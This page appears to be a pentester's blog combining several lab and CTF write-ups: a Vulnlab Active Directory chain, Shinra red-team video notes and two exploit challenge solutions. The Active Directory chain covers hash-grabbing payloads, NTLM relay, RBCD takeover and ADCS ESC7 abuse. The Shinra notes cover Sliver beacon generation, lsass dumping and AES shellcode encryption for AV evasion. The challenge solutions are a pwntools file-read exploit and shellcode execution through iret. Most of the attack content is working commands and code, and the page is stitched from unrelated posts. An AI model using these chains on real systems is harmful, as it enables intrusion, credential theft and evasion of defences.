This video is a short overview on what you can do with WinSSH and how to use it. It essentially acts like a reverse shell with (dynamic-) port forwarding & file up- and download features that is only using trusted windows binaries.
Intercept is a chain of vulnerable machines on Vulnlab and involves stealing hashes with lnk files, a RBCD-Workstation takeover, exploiting GenericALL on OUs & finally attacking ADCS using ESC7.
Port Scan:
sudo nmap -iL ips.txt -sV -sC -oA scan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-01 17:03 CEST
Nmap scan report for dc01.intercept.vl (10.10.158.69)
Host is up (0.024s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-09 14:02:25Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intercept.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.intercept.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.intercept.vl
| Not valid before: 2023-06-27T13:28:30
|_Not valid after: 2024-06-26T13:28:30
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intercept.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.intercept.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.intercept.vl
| Not valid before: 2023-06-27T13:28:30
|_Not valid after: 2024-06-26T13:28:30
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intercept.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.intercept.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.intercept.vl
| Not valid before: 2023-06-27T13:28:30
|_Not valid after: 2024-06-26T13:28:30
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intercept.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.intercept.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.intercept.vl
| Not valid before: 2023-06-27T13:28:30
|_Not valid after: 2024-06-26T13:28:30
|_ssl-date: TLS randomness does not represent time
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: INTERCEPT
| NetBIOS_Domain_Name: INTERCEPT
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: intercept.vl
| DNS_Computer_Name: DC01.intercept.vl
| Product_Version: 10.0.20348
|_ System_Time: 2023-07-09T14:03:05+00:00
| ssl-cert: Subject: commonName=DC01.intercept.vl
| Not valid before: 2023-06-27T13:12:41
|_Not valid after: 2023-12-27T13:12:41
|_ssl-date: 2023-07-09T14:03:44+00:00; -1s from scanner time.
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-07-09T14:03:07
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.28 seconds
Nmap scan report for ws01.intercept.vl (10.10.158.70)
Host is up (0.020s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=WS01.intercept.vl
| Not valid before: 2023-06-27T13:11:58
|_Not valid after: 2023-12-27T13:11:58
| rdp-ntlm-info:
| Target_Name: INTERCEPT
| NetBIOS_Domain_Name: INTERCEPT
| NetBIOS_Computer_Name: WS01
| DNS_Domain_Name: intercept.vl
| DNS_Computer_Name: WS01.intercept.vl
| DNS_Tree_Name: intercept.vl
| Product_Version: 10.0.19041
|_ System_Time: 2023-07-01T15:04:44+00:00
|_ssl-date: 2023-07-01T15:05:24+00:00; -1s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-07-01T15:04:51
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
Post-scan script results:
| clock-skew:
| -1s:
| 10.10.158.69 (dc01.intercept.vl)
|_ 10.10.158.70 (ws01.intercept.vl)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
We see 2 machines, a Windows 10 workstation & a domain controller. Since there donβt seem to be any unusual services and we have no user yet, enumeration is somewhat limited but we still have some options here:
Bruteforce users using kerberos, e.g. via kerbrute
Asreproast from a list of known usernames
Check for missing SMB-Signing
Man-in-the-Middle Attacks
Anonymous shares
We are not going to do bruteforcing here or any MitM attacks β this leaves us with checking the signing configuration and looking for anonymous shares.
This is the default on windows domains β the DC has signing enforced but the workstation system hasnβt.
Checking Anonymous Shares:
smbclient -L \\\\dc01.intercept.vl
Anonymous login successful
Sharename Type Comment
--------- ---- -------
smbclient -L \\\\ws01.intercept.vl
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
dev Disk shared developer workspace
IPC$ IPC Remote IPC
Users Disk
We can see that ws01 has a dev share & a users share while the domain controller has none we could access. Letβs check out the dev share:
echo 123 > test.txt
smbclient \\\\ws01.intercept.vl\\dev
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Jun 29 17:23:05 2023
.. D 0 Thu Jun 29 17:23:05 2023
projects D 0 Thu Jun 29 13:57:25 2023
readme.txt A 123 Thu Jun 29 13:44:59 2023
tools
smb: \> put test.txt
putting file test.txt as \test.txt (0.1 kb/s) (average 0.1 kb/s)
smb: \> get readme.txt
getting file \readme.txt of size 123 as readme.txt (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec)
smb: \> exit
cat readme.txt
Please check this share regularly for updates to the application (this is a temporary solution until we switch to gitlab).
This suggests that someone is updating something on this share and also encourages to check back regulary. We also confirmed that we can write here. If we can write a domain share, itβs possible to place a scf/lnk or other hash-grabbing payload that will coerce NTLM Authentication back to our machine! We can not relay this anywhere since the only other machine is the domain controller which has SMB signing enforced, but we can try to crack the NetNLTMv2 hash should a user visit the share.
To create the payload we use hashgrab and then upload the generated files after starting impacketβs smbserver.
python3 ~/tools/hashgrab/hashgrab.py 10.8.0.36 xct
impacket-smbserver share share -smb2support
smbclient \\\\ws01.intercept.vl\\dev
Try "help" to get a list of possible commands.
smb: \> put @xct.url
smb: \> put @xct.scf
smb: \> put xct.library-ms
smb: \> put desktop.ini
After a moment, we get a connect back from a user that has been browsing to the share:
This worked and gives us our first domain credentials: kathryn.spencer:Chocolate1 . Having domain credentials opens up a whole new world of enumeration possibilities:
Gathering Bloodhound data
Gathering Certipy data
Check LDAP signing
Check Machine Account Quota
Check for kerberoastable accounts
# Bloodhound
bloodhound-python -c all --disable-pooling -w 1 -u kathryn.spencer -p 'Chocolate1' -d intercept.vl -dc dc01.intercept.vl -ns 10.10.158.69 --dns-tcp --zip --dns-timeout 120
INFO: Found AD domain: intercept.vl
...
INFO: Done in 00M 23S
INFO: Compressing output into 20230701183457_bloodhound.zip
# Certipy
/usr/local/bin/certipy find -u "kathryn.spencer" -p 'Chocolate1' -dc-ip 10.10.158.69 -dns-tcp -ns 10.10.158.69 -bloodhound
[*] Finding certificate templates
[*] Found 33 certificate templates
...
[*] Got CA configuration for 'intercept-DC01-CA'
[*] Saved BloodHound data to '20230701183614_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
# LDAP Signing
crackmapexec ldap 10.10.158.69 -u kathryn.spencer -p Chocolate1 -M ldap-checker
SMB 10.10.158.69 445 DC01 [*] Windows 10.0 Build 20348 x64 (name:DC01) (domain:intercept.vl) (signing:True) (SMBv1:False)
LDAP 10.10.158.69 389 DC01 [+] intercept.vl\kathryn.spencer:Chocolate1
LDAP-CHE... 10.10.158.69 389 DC01 LDAP Signing NOT Enforced!
LDAP-CHE... 10.10.158.69 389 DC01 Channel Binding is set to "NEVER" - Time to PWN!
# Machine Account Quota
crackmapexec ldap dc01.intercept.vl -u kathryn.spencer -p 'Chocolate1' -M maq
SMB dc01.intercept.vl 445 DC01 [*] Windows 10.0 Build 20348 x64 (name:DC01) (domain:intercept.vl) (signing:True) (SMBv1:False)
LDAP dc01.intercept.vl 389 DC01 [+] intercept.vl\kathryn.spencer:Chocolate1
MAQ dc01.intercept.vl 389 DC01 [*] Getting the MachineAccountQuota
MAQ dc01.intercept.vl 389 DC01 MachineAccountQuota: 10
# Kerberoast
impacket-GetUserSPNs intercept.vl/kathryn.spencer:'Chocolate1' -dc-ip 10.10.158.69 -debug
No entries found!
After importing both certipyβs & bloodhoundβs zips into the local Bloodhound database, we check for any suspicious configurations in the UI. This reveals that Simon Bowen is in the helpdesk group which has GenericAll permissions over the ca-managers OU. GenericAll will allow us to take control over the ca-managers group inside the OU and to add ourselves (e.g. Simon) to this group as well. But we donβt have any credentials for Simon yet. Looking at Kathrynβs permissions does not show anything interesting β so what can we do at this point?
We just have a low privileged domain user that has no permissions whatsoever anywhere which means we are limited to actions that *any* domain user is allowed to. Luckily this involves quite a lot of things. First of all we can add computer accounts to the domain because the quota is set to 10 (the default). On the other hand LDAP signing and channel binding is not enforced (also the default). This opens up a possibility for an attack on clients which is known as RBCD workstation takeover.
Roughly this works as follows: First, we coerce authentication from a workstation that is running the webclient service (if its not running it can be forced to start remotely). This will give us a machine account authentication from WS01$ to our machine. Sadly we canβt relay SMB authentication to the only other machine (the DC) because of enforced SMB-Signing. However we can coerce authentication against WebDAV instead. WebDAV uses HTTP, so the machine will use NTLM Authentication to authenticate. Since this is a web request, SMB-Signing is not relevant here and we are now indeed able to relay the authentication to the DC (to LDAP, since LDAP signing is not enforced). Using WebDAV coersion instead of SMB can be achieved by specifiying a port thatβs not 445, e.g. \\attacker@8080.
There is however one caveat. We can not put an ip address β it will only authenticate against a target thats in the trusted zone so we would need to add a dns entry somehow. Luckily this is also something thatβs allowed for any user in the domain by default!
So what does relaying this authentication to LDAP on the DC let us do? We will be in the context of WS01$ and that account is allowed to set any attribute on itself (since its the owner). This allows us to create the conditions for RBCD writing the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on WS01$ and with that allow a new machine account we create to impersonate any user on the machine.
Letβs execute the attack now:
# Add new dns entry that points to our attacker machine, set your local dns server to the dc ip in /etc/resolv.conf before running
python dnstool.py -u intercept.vl\\kathryn.spencer -p 'Chocolate1' -r xct.intercept.vl -d 10.8.0.36 --action add dc01.intercept.vl
# Add a new machine account
impacket-addcomputer -computer-name 'WS02$' -computer-pass 'Start123!' -dc-host dc01.intercept.vl -domain-netbios intercept 'INTERCEPT/Kathryn.Spencer:Chocolate1'
# Listener for relaying auth to LDAP on the DC in order to configure RBCD on WS01$ (it's allowed to write it's own attribute)
sudo impacket-ntlmrelayx -smb2support -t ldaps://dc01.intercept.vl --http-port 8080 --delegate-access --escalate-user WS02\$ --no-dump --no-acl --no-da
# Coerce Authentication from the workstation WS01$ using a non-default port so it's a WebDAV authentication
python3 PetitPotam.py -d intercept.vl -u 'Kathryn.Spencer' -p 'Chocolate1' xct@8080/a ws01.intercept.vl
# Impersonate Administrator on WS01 by using our RBCD privileges
impacket-getST -spn cifs/ws01.intercept.vl intercept.vl/WS02\$ -impersonate administrator
export KRB5CCNAME=$PWD/administrator.ccache
impacket-secretsdump -k -no-pass ws01.intercept.vl
...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:xxx:::
...
[*] _SC_HelpdeskService
[email protected]:xxx
...
The whole attack worked & we got to dump all credentials on WS01. We could also logon now and look around the machine but since we already identified a possible next step involving Simon Bowen (and we just got his creds) we will continue on this path.
In order to add ourselves to the ca-managers group Iβm going to add simon as an administrator on WS01 and then use RDP to execute the attack. Adding a new users to the local administrators is not great opsec-wise so be careful ;)
Now that we are on the box we notice that MalwareBytes is running. Given that we are an administrator, we disable it in the UI. Now we can upload, import and use PowerView:
. .\PowerView.ps1
Get-DomainOU 'ca-managers' // note the UID and replace it below
$Guids = Get-DomainGUIDMap
$AllObjectsPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'All'} | select -ExpandProperty name
$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity 'simon.bowen' -Right GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectsPropertyGuid
$OU = Get-DomainOU -Raw <UID from first step>
$dsEntry = $OU.GetDirectoryEntry()
$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$dsEntry.PsBase.CommitChanges()
Add-DomainGroupMember -Identity "ca-managers" -Members simon.bowen -Verbose
This will give us ownership over the ca-managers group and then add ourselves (here Simon, since we know the credentials to this account β we could also have used Kathryn) to it.
To proceed, we check what ca-managers can actually do in the Bloodhound UI after importing certipys bloodhound data. If you click on ESC7 you will see an attack path available thats based on the fact that we are now a ca manager (as the group name suggests).
We can execute the attack as follows:
# Add simon.bowen as an officer, this allows to approve templates
/usr/local/bin/certipy ca -ca 'intercept-DC01-CA' -add-officer simon.bowen -username [email protected] -hashes :<REDACTED> -dc-ip 10.10.210.165 -dns-tcp -ns 10.10.210.165
# Enable the SubCA template, we will need it later on
/usr/local/bin/certipy ca -ca 'intercept-DC01-CA' -enable-template 'SubCA' -username [email protected] -hashes :<REDACTED> -dc-ip 10.10.210.165 -dns-tcp -ns 10.10.210.165
# Request a certificate from the SubCA template, this will fail but still save the private key
/usr/local/bin/certipy req -username [email protected] -hashes :<REDACTED> -ca 'intercept-DC01-CA' -target dc01.intercept.vl -template SubCA -upn [email protected] -dc-ip 10.10.210.165 -dns-tcp -ns 10.10.210.165
# It failed because it needs approval (the CA is set to manager approval mode). Now we approve it ourselves!
/usr/local/bin/certipy ca -username [email protected] -hashes :<REDACTED> -ca 'intercept-DC01-CA' -issue-request 3 -dc-ip 10.10.210.165 -dns-tcp -ns 10.10.210.165
# Now that it's issued, we can request it again
/usr/local/bin/certipy req -username [email protected] -hashes :<REDACTED> -ca 'intercept-DC01-CA' -target dc01.intercept.vl -retrieve 3 -dc-ip 10.10.210.165 -dns-tcp -ns 10.10.210.165
# Finally we can use the cert to authenticate, retrieve the NTLM hash & then connect to the DC as administrator
/usr/local/bin/certipy auth -pfx administrator.pfx -domain intercept.vl -username administrator -dc-ip 10.10.210.165
impacket-smbexec [email protected] -hashes :<REDACTED>
This is the end of this chain. Originally I wanted to introduce mitm6 and spoofing/poisoning but this is currently not possible on this particular lab infrastruture. If that would be the case, it wouldnβt be neccesary to have the lnk/scf files in the beginning and you could exploit it as follows without having *any* domain credentials:
mitm6 -hw WS01 -d intercept.vl --ignore-nofqdn -i eth0
impacket-ntlmrelayx -t ldaps://dc01.intercept.vl -wh attacker-wpad --delegate-access
...
[*] Attempting to create computer in: CN=Computers,DC=intercept,DC=vl
[*] Adding new computer with username: NHWOLPTB$ and password: wazhp!/Z_i>gi_P result: OK
[*] Delegation rights modified succesfully!
[*] NHWOLPTB$ can now impersonate users on WS01$ via S4U2Proxy
This is part four of the Shinra series. We will get to access to a linux server via ssh, exploit a small authenticator app & use ansible to move to the next box.
This is the third video of the Shinra series. We will get a shell on Ashleighs machine & escalate privileges.
Topics
Phishing: Payload design & getting a shell
Sliver Basics
Host enumeration
Switching users with runas
Exploiting SeDebugPrivilege to get SYSTEM
Post Exploitation
Additional things to try on the lab:
See if you can run the domain enumeration steps on client01 in constrast to using your own machine, e.g. port-scanning, bloodhound, adcs, credential spraying etc.
Craft a payload using any other technique so it gets around the AV
Craft a payload using indirect syscalls or modify the existing one so it uses DLL Hijacking instead
Notes
Sliver
# generate a beacon
generate beacon --mtls 127.0.0.1:53 --os windows --arch amd64 --format shellcode --save xct.raw
# start listener
mtls --lport 53
# execute assembly (in-process, bypasss ETW)
execute-assembly -i -E /home/xct/drop/Rubeus.exe klist|triage|...
# nanodump via armory
ps (list lsass process id)
nanodump 680 core.dmp 1 PMDM
# interactive shell (you can omit the argument to get powershell)
shell --shell-path "c:\\windows\\system32\\cmd.exe"
Encrypt Shellcode with AES
from base64 import b64encode, b64decode
from binascii import unhexlify, hexlify
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import sys
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: ./shellcode_encrypt file key iv")
exit(1)
file_name = sys.argv[1]
password = sys.argv[2].encode()
iv = sys.argv[3].encode()
data = []
with open(file_name,"rb") as f:
data = f.read()
print(f"Key: {password}")
print(f"IV: {iv}")
print(f"Data: {data[:16]}..")
data = pad(data, AES.block_size)
cipher = AES.new(password, AES.MODE_CBC, iv)
cipher_text = cipher.encrypt(data)
with open('xct.bin','wb') as f:
f.write(cipher_text)
This is the second video of the Shinra series. Before setting foot onto any of the networkβs internal machines, we are going to spend a bit of time enumerating various things from our machine.
Some ideas for further steps that are not shown in the video:
Spray βShinra2022β or variations of it against all users in the domain.
Place a hash grabbing payload (e.g. https://github.com/xct/hashgrab) inside the workspace share and see if you can find any hashes.
This is a short writeup on the βNonHeavyFTPβ challenge from Real World CTF 2023. This was one of the easier challenges with the goal of exploiting LightFTP in Version 2.2 (the latest one on github at the time). I ended up with a file-read vulnerability that allowed to read the flag.
Vulnerability Discovery
We are given a compiled binary but there is no need to use it (unless you want to use it for local testing) since the source is on github. In addition, we get the config used on the remote system which only allows anonymous login with read-only permissions:
...
[anonymous]
pswd=*
accs=readonly
...
Unless we can somehow bypass this, we are limited to reading files (and reading the flag is enough to finish this challenge). I started to fuzz the challenge with boofuzz & the FTP fuzzing-script from its author. Unfortunately, this did not yield any results but for documentationβs sake this is how itβs setup:
# install boofuzz
mkdir boofuzz && cd boofuzz
python3 -m venv env
source env/bin/activate
pip install -U pip setuptools
pip install boofuzz
# start local version of fftp on port 2121
./fftp
# start fuzzer
python3 fuzz.py fuzz --target-port=2121 --target-host=127.0.0.1 --username=anonymous --password=xct
This ran at about 500 exec/s on my VM but required restarting every ~32k sessions because the user limit was reached and increasing it in the config did not help. It did not find any vulnerabilities though. That leaves us with source code review to find something. Looking a bit around for dangerious functions we find a strcpy at https://github.com/hfiref0x/LightFTP/blob/master/Source/ftpserv.c#L265 :
This looked interesting (e.g. send a large username to overflow the buffer) but it turned out that we can not send a buffer large enough to overflow context->FileName. If we search for other uses of context->FileName , we can see that most FTP commands are actually using this as a buffer to hold different things. At this point I was thinking we might be able to use a race condition to overwrite the contents of this buffer after a function does checks on it, for example:
int ftpLIST(PFTPCONTEXT context, const char *params)
{
...
/* this function makes sure we stay inside the ftp root directory */
ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof(context->FileName), context->FileName);
while (stat(context->FileName, &filestats) == 0)
{
if ( !S_ISDIR(filestats.st_mode) )
break;
sendstring(context, interm150);
writelogentry(context, " LIST", (char *)params);
context->WorkerThreadAbort = 0;
pthread_mutex_lock(&context->MTLock);
context->WorkerThreadValid = pthread_create(&tid, NULL, (void * (*)(void *))list_thread, context);
if ( context->WorkerThreadValid == 0 )
context->WorkerThreadId = tid;
else
sendstring(context, error451);
pthread_mutex_unlock(&context->MTLock);
return 1;
}
return sendstring(context, error550);
}
If we could overwrite context->FileName after the ftp_effective_path function is called, it would just open the file we want even if its outside the ftp root. This buffer is assigned per connection though, so itβs not possible to overwrite it from a new connection.
There is however a different way that does not rely on a new connection. FTP can be used in passive and active mode. The way this works is, that for FTP there is a command channel and a data channel. In active mode we connect to (usually port 21) the command port and can issue whatever commands we want. If we want to get any data back, the service will connect to a port on our client-machine and send the data. In passive mode, if we connect to the service it will tell us a port on the server-side that we can connect to, to get the data. It turns out active mode is not possible here due to firewall constraints so we have to use passive mode.
If we issue a command in passive mode, like the LIST command in the example above, it will try to send the listing data to the port that was defined when we made the connection. As long as we do not connect there it can however not send the data.
This is the way it sends (after we connect) it via the stor_threadfunction:
This function is run as a new thread and is also using context->FileName! This means that we can do the following:
Issue LIST command with some random path, it will get stored in context->FileName. The thread starts but blocks since no connection has been made. As soon as it unblocks it will read context->FileName.
Issue USER command with a crafted username (directory name that we want to list), this will also get stored in context->FileName. Since the thread is still blocked that wants to send the result, we just overwrite the path after the checks were done!
Connect to the FTP data port to allow it to send the data
Exploitation
The flag has a random filename so we start by using our vulnerability to list the contents of the root directory:
from pwn import *
import binascii
context.terminal = ['alacritty', '-e', 'zsh', '-c']
RHOST = b"47.89.253.219"
def init():
p.recvuntil(b"220")
p.sendline(b"USER anonymous")
p.recvuntil(b"331")
p.sendline(b"PASS root")
p.recvuntil(b"230")
p.sendline(b"PASV")
p.recvline()
result = p.recvline().rstrip(b"\r\b")
parts = [int(s) for s in re.findall(r'\b\d+\b', result.decode())]
port = parts[-2]*256+parts[-1]
return port
def read(port):
p = remote(RHOST, port, level='debug')
print(p.recvall(timeout=2))
p.close()
# list dir
p = remote(RHOST, 2121, level='debug')
p.newline = b'\r\n'
port =init()
p.sendline(b"LIST ") # send LIST command, wants to send us result via data port
p.sendline(b"USER /") # send USER command to overwrite dirname used by LIST
p.recvline()
read(port)
p.recvline()
p.recvline()
p.close()
Running this exploit lists the root directory and yields us the flag name. With the same technique we can now retrieve the flag file (or any file on the system):
...
p = remote(RHOST, 2121, level='debug')
p.newline = b'\r\n'
port =init()
p.sendline(b"RETR hello.txt")
p.sendline(b"USER /flag.deb10154-8cb2-11ed-be49-0242ac110002")
p.recvline()
read(port)
p.recvline()
p.recvline()
p.close()
This is the first video of a series about Shinra, a virtual company in a private red team lab. We will conduct a full pentest on Shinra and explore various topics along the way.
In this blog post, we will solve the Windows userland challenge that Blue Frost Security published for Ekoparty 2022. You can find the challenge & description here:
We analyze the bfs-eko2022.exe binary in IDA and can see that itβs binding to 0.0.0.0 on port 31415. After a client connects, it calls sub_140001160 which is checking that the first 6 bytes received are Hello\x00. If thatβs the case, it will send back Hi\x00 and proceeds to call sub_140001240 where the main packet parsing is done. At the start of this function, it fills a heap buffer as seen below:
We can see 0x5050505050505050 being written followed by 0xcf58585858585858. This is repeated over the full length of the buffer (0x1000). At the beginning of the main function we can see how this buffer is allocated:
This buffer that is being filled is on the heap at 0x10000000 , read, write, and executable, and has a size of 0x1000. This shows that the initialization being done is filling the complete buffer. These initialization values are suspicious as you would normally expect a null initialization or random data. If we disassemble the bytes we get the following instructions:
0: 50 push eax
1: 50 push eax
2: 50 push eax
3: 50 push eax
4: 50 push eax
5: 50 push eax
6: 50 push eax
7: 50 push eax
8: cf iret
9: 58 pop eax
a: 58 pop eax
b: 58 pop eax
c: 58 pop eax
d: 58 pop eax
e: 58 pop eax
f: 58 pop eax
This does not look random at all and will play a role later on. For now, letβs continue to follow the control flow of the packet parsing function. After the handshake and initialization, it receives more bytes, looking for a magic value 0x323230326F6B45 followed by the byte T which indicates the packet type. It then expects another 4 bytes that represent the packet length.
mov rax, 323230326F6B45h
cmp qword ptr [rsp+0F68h+buf], rax
jz short loc_140001339
|
movzx eax, [rsp+0F68h+var_20]
mov [rsp+0F68h+var_38], al
movsx eax, [rsp+0F68h+var_38]
cmp eax, 54h ; 'T'
jz short loc_140001366
|
movsx eax, [rsp+0F68h+var_1F]
cmp eax, 0F00h
jle short loc_140001386
The packet length comparison at the end looks interesting. Itβs supposed to make sure that the packet length field can not be larger than 0xf00. Before the comparison, itβs loading the value with movsx into EAX which is move with sign-extension. This means if we would send 0xffff it would get extended to 0xffffffff and be interpreted as a negative value. Since the last jump has to be taken and -1 is lower than 0xf00 we pass the check and can continue!
Continuing at 140001386 another receive is called, reading network input data into the heap buffer at 0x10000000. The maximum amount of data we can provide here is 0x1000, since anything more than that would go outside the allocated memory and cause an exception. It is then calling sub_1400011B0 on this data.
This function is now taking the data from the heap and copying it onto the stack, using the length we have provided inside the packet itself! Remember that the intended maximum length is 0xf00 but we were able to provide 0xffff instead. This leads to a stack overflow. Another thing this function is doing is filtering out 0x2b and 0x33 while doing to copy operation, replacing them with null bytes on the stack (this will be important later).
After the copy function is finished it will once again check that the packet type is T from the copy of the data that is now on the stack. If thatβs the case (which it is if used normally) it will echo back the data it received and exit. By using our stack overflow, we can however overwrite the T on the stack with an X which leads to a win-function:
If we can get to this last basic block the program will jump exactly to length+1 of input buffer on the heap which contains the bytes that have been written during initialization. At this point, we control the stack to some extent and can influence to which exact byte of the pre-initialized heap memory we jump. The following PoC brings us to this point.
When we break on the call instruction we can see that we land on the heap and can single step until the iret instruction. Note that we chose the input length in a way we avoid the pushs and land right at the pops in order to fully control the stack at the moment iret is called.
bp bfs_eko2022+0x146E
g
Breakpoint 0 hit
bfs_eko2022+0x146e:
00007ff7`c7f2146e ff158cab0000 call qword ptr [bfs_eko2022+0xc000 (00007ff7`c7f2c000)] ds:00007ff7`c7f2c000=0000000010000f08
0:000> t
00000000`10000f08 58 pop rax
0:000> p
00000000`10000f09 58 pop rax
0:000>
00000000`10000f0a 58 pop rax
0:000>
00000000`10000f0b 58 pop rax
0:000>
00000000`10000f0c 58 pop rax
0:000>
00000000`10000f0d 58 pop rax
0:000>
00000000`10000f0e 58 pop rax
0:000>
00000000`10000f0f cf iretd
0:000> dd rsp
00000000`005eeb50 41414141 42424242 43434343 44444444
00000000`005eeb60 45454545 41414141 41414141 41414141
At this point, we have to do some digging on how iret works to see if we can craft the stack in a way that would let us gain (custom-) code execution. The iret instruction is used to return control from an exception or interrupt handler and is expecting the following values on the stack (very good article on this topic):
- new instruction pointer
- new code segment selector (CS)
- new value of EFLAGS register
- new stack pointer
- new stack segment selector (SS)
As for the instruction pointer and stack pointer we could just point them into our heap buffer since we control a large part of it. The EFLAGS register we can get from debugging and then attempt to use the same value. This leaves us with CS and SS which is a bit tricky. CS and SS are used to index into the Global Descriptor Table (GDT) which has descriptors for kernel code/data and user code/data. Using WinDBG as a kernel debugger we can see which indices match which descriptor:
The first 16 bytes are reserved, following those we can see that there are some values at offset 0x10 and 0x18:
0: kd> dg 0x10
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- ----------------- ----------------- ---------- - -- -- -- -- --------
0010 00000000`00000000 00000000`00000000 Code RE Ac 0 Nb By P Lo 0000029b
0: kd> dg 0x18
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- ----------------- ----------------- ---------- - -- -- -- -- --------
0018 00000000`00000000 00000000`00000000 Data RW Ac 0 Bg By P Nl 00000493
These should be the entries for the kernel. Then we have 2 more values following:
0: kd> dg 0x20
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- ----------------- ----------------- ---------- - -- -- -- -- --------
0020 00000000`00000000 00000000`ffffffff Code RE Ac 3 Bg Pg P Nl 00000cfb
0: kd> dg 0x28
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- ----------------- ----------------- ---------- - -- -- -- -- --------
0028 00000000`00000000 00000000`ffffffff Data RW Ac 3 Bg Pg P Nl 00000cf3
These are the user code and stack descriptors ranging from 0 to 0xffffffff. The 2 least significant bits of the selector value are being used for RPL (Requested Privilege Level) or CPL (Current Privilege Level). Because we are looking to stay in ring3 we have to set these to 1 β so 0x20 for the code segment becomes 0x23 and 0x28 becomes 0x2b.
CS and SS are only used in 32-bit mode (see: https://nixhacker.com/segmentation-in-intel-64-bit/) or lower β by supplying values there for our iret we will switch to 32-bit mode. With this bit of theory out of the way we still have a problem: 0x2b is a bad byte and will not end up on the stack! So we can choose 0x23 for the code segment but have to be creative on what to use for the stack segment.
Any value that will not crash on iret is fine in theory so it has to be Data RW but we donβt necessarily need a valid stack base and limit if we can avoid using the stack. After inspecting more values and seeing which ones do and donβt crash we eventually find 0x53:
0:000> dg 0x53
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- ----------------- ----------------- ---------- - -- -- -- -- --------
0053 00000000`0060a000 00000000`00000fff Data RW Ac 3 Bg By P Nl 000004f3
From the output, we can see that base and limit are not really useful for us but if we avoid the stack we should be fine (base and limit are also somewhat random and can change at reboots). Now itβs time to update the PoC:
Debugging the new PoC shows that we indeed end up in 32-bit mode inside our shellcode and can execute it!
0:000>
00000000`10000f0f cf iretd
0:000> dd rsp
00000000`00cfede0 10000014 00000023 00010202 10000400
00000000`00cfedf0 00000053 41414141 41414141 41414141
0:000> g
10000014 cc int 3
0:000:x86> p
10000015 90 nop
0:000:x86> p
10000016 90 nop
Any attempt to use the stack will however fail (Note that WinDBG will automatically repair 0x53 back to 0x2b if you are single stepping β this can be confusing!). This means we will need to find a way to use the ability to execute shellcode to restore either stack functionality or get back to 64-bit.
As it turns out there is exactly such a thing. By using a far jump like this 0x33:0x100000xx we can specify 0x33 as the new code segment which will get us back to 64-bit. Since 64-bit does not need a stack segment selector we can now use the stack again! The only thing left to do (besides generating valid shellcode) is to restore the stack pointer. Luckily debugging shows that RCX still holds a reference to the stack so we can just copy it into RSP. After executing the jump into 64-bit mode we can now continue to execute 64-bit shellcode to restore the stack and then anything we like:
PoC_0x03
...
sc = b""
sc += b"\xcc"
sc += b"\xea\x1c\x00\x00\x10\x33\x00" # from 0x10000014 0x1000001c
sc += b"\x48\x89\xC8\x48\x89\xC4" # restore original stack from ref in rcx
sc += b"\xcc"
...
Note that even though 0x33 is a bad byte this is only true for the stack β on the heap where the shellcode lies it will be unchanged. Debugging shows the swap back to 64-bit:
10000014 cc int 3
0:000:x86> p
